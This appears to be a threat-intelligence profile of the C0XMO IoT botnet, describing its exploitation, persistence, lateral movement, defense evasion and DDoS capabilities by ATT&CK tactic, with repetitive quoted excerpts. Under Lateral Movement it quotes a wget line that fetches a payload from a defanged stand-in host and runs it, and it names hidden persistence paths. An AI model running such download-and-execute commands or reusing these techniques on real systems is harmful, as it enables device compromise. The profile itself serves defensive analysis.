C0XMO
- Type
- Botnet
- Capabilities
- Initial accessPersistenceLateral movementDefense evasionScanningBrute forceDDOS
- Delivery
- Exploit kit
- Platforms
- AndroidLinuxIOTNetwork device
C0XMO is a modular Linux-focused variant of the Gafgyt IoT botnet, identified in March 2026. It targets internet-exposed routers, IoT devices, DVRs, and other embedded systems, initially exploiting CVE-2021-27137 in vulnerable DD-WRT UPnP implementations. Its propagation framework also performs random internet scanning, weak-credential attacks against Telnet and SSH, HTTP-based exploitation of multiple device and software vulnerabilities, and abuse of exposed Android Debug Bridge services. It identifies victim CPU architectures and deploys matching payloads across ARM, MIPS, PowerPC, SuperH, x86, and x64 systems; Android devices are also targeted through exposed ADB services. C0XMO separates scanning and lateral movement into a standalone Python component, permitting propagation methods to be updated independently of the core bot. The malware persists through concealed copies, scheduled-task execution, shell startup modifications, and process self-reexecution. It terminates competing botnets, security or administrative tooling, and associated persistence artifacts to monopolize compromised-device resources. Infected devices register with command-and-control infrastructure, can be directed to scan for further victims, and support 19 distributed-denial-of-service methods, including UDP, TCP, SYN, ICMP, HTTP flood, and amplification attacks. Activity was observed against a technology organization in Japan.
Associated vulnerabilities
5 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Techniques & procedures
31 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
3 techniques
Initial Access
The scanner performs weak password brute-force attacks on Telnet and SSH services. After successful authentication, it identifies the target host’s architecture and downloads the appropriate payload.
In addition, the scanner exploits unauthorized access vulnerabilities in the Android Debug Bridge (ADB) to compromise exposed Android-based devices.
Attackers exploit CVE-2021-27137 in vulnerable DD-WRT routers by sending specially crafted SSDP M-SEARCH requests to UDP port 1900. Successful exploitation results in remote code execution and malware deployment.
Execution
3 techniques
Execution
The malware creates cron jobs that execute every 15 minutes... to ensure execution after system reboots.
Unlike traditional botnets, C0XMO isolates its scanning function into an independent Python script.
Для заражения маршрутизаторов вредонос использует старую уязвимость CVE-2021-27137 в DD-WRT. Этот баг связан с переполнением буфера из-за некорректной обработки пользовательского ввода и позволяет выполнить произвольный код без аутентификации.
Persistence
4 techniques
Persistence
[C0XMO] modifies shell startup files such as .bashrc, .profile, and .bash_profile to ensure execution after system reboots.
The malware creates cron jobs that execute every 15 minutes... to ensure execution after system reboots.
The scanner performs weak password brute-force attacks on Telnet and SSH services. After successful authentication, it identifies the target host’s architecture and downloads the appropriate payload.
In addition, the scanner exploits unauthorized access vulnerabilities in the Android Debug Bridge (ADB) to compromise exposed Android-based devices.
Privilege Escalation
4 techniques
Privilege Escalation
[C0XMO] modifies shell startup files such as .bashrc, .profile, and .bash_profile to ensure execution after system reboots.
The malware creates cron jobs that execute every 15 minutes... to ensure execution after system reboots.
An unsafe strcpy in the UPnP handling functionality allows an unauthenticated remote attacker to send a request that would overflow an internal fixed buffer.
The scanner performs weak password brute-force attacks on Telnet and SSH services. After successful authentication, it identifies the target host’s architecture and downloads the appropriate payload.
Stealth
7 techniques
Stealth
C0XMO copies itself to hidden paths at /tmp/.sys, /var/tmp/.sys, and /dev/shm/.sys...
It does so by deleting binaries and removing their persistence mechanisms, including cron jobs, init scripts, system services, and shell profile entries.
If it finds a match, C0XMO deletes the corresponding file from the system.
The scanner performs weak password brute-force attacks on Telnet and SSH services. After successful authentication, it identifies the target host’s architecture and downloads the appropriate payload.
The malware installs several required packages, including requests, paramiko, and beautifulsoup4. pip3 install requests paramiko beautifulsoup4 ... || python3 -m pip install requests paramiko beautifulsoup4
After successful authentication, it identifies the target host’s architecture and downloads the appropriate payload.
C0XMO copies itself into hidden directories including: /tmp/.sys, /var/tmp/.sys, /dev/shm/.sys, $HOME/.sys.
Defense Impairment
2 techniques
Defense Impairment
C0XMO copies itself to these hidden locations and sets the file permissions to 755, enabling execution.
The malware scans active processes and terminates known botnets, security tools, administrative utilities, and competing malware families.
Credential Access
2 techniques
Credential Access
Если подходящая цель найдена, C0XMO пытается подобрать учетные данные для SSH или Telnet, определяет архитектуру и подгружает соответствующий бинарник.
C0XMO is actively targeting internet-exposed devices through a combination of vulnerability exploitation, weak-credential attacks, and automated lateral movement.
Discovery
5 techniques
Discovery
The scanner then begins large-scale internet scanning operations... Random Internet Scanning Initiated → Telnet, SSH, HTTP and ADB Exploitation Attempts Executed.
The malware scans active processes and terminates known botnets, security tools, administrative utilities, and competing malware families.
Target Architecture Identified → Matching Binary Deployed.
Все найденные процессы завершаются, а связанные с ними бинарники и механизмы закрепления уничтожаются.
After successful authentication, it identifies the target host’s architecture and downloads the appropriate payload.
Lateral Movement
3 techniques
Lateral Movement
The script installs requests, paramiko, and beautifulsoup4 via pip and runs 22 functions organized across six categories: worker threads, blacklist management, Telnet exploitation, SSH exploitation, HTTP exploitation, and Android Debug Bridge exploitation.
Its main goal is to enable lateral movement.
After successful authentication, it identifies the target host’s architecture and downloads the appropriate payload. cd /tmp ... wget -q http://malicious[.]server/bot.arch -O .cache chmod 777 .cache ./.cache
Command and Control
3 techniques
Command and Control
After persistence is established, C0XMO connects to its command-and-control infrastructure and performs a custom multi-stage handshake.
In the final stage of the handshake, the bot sends the hexadecimal sequence FF FF FF FF 75 as the final magic value to the C2 server.
The compromised device downloads a payload appropriate for its CPU architecture... C0XMO downloads a separate Python scanner from attacker-controlled infrastructure.
Impact
3 techniques
Impact
Furthermore, C0XMO actively scans running processes to identify competitor botnet clients on the host, as well as red-team tools, programming tools, and network services that may interfere with its operation, and terminates them.
Gafgyt is a long-running IoT malware family primarily associated with botnet operations and distributed denial-of-service (DDoS) attacks... DDoS Capability Activated.
C0XMO supports 19 different DDoS attack methods for various scenarios.
Observables
21 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
10 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.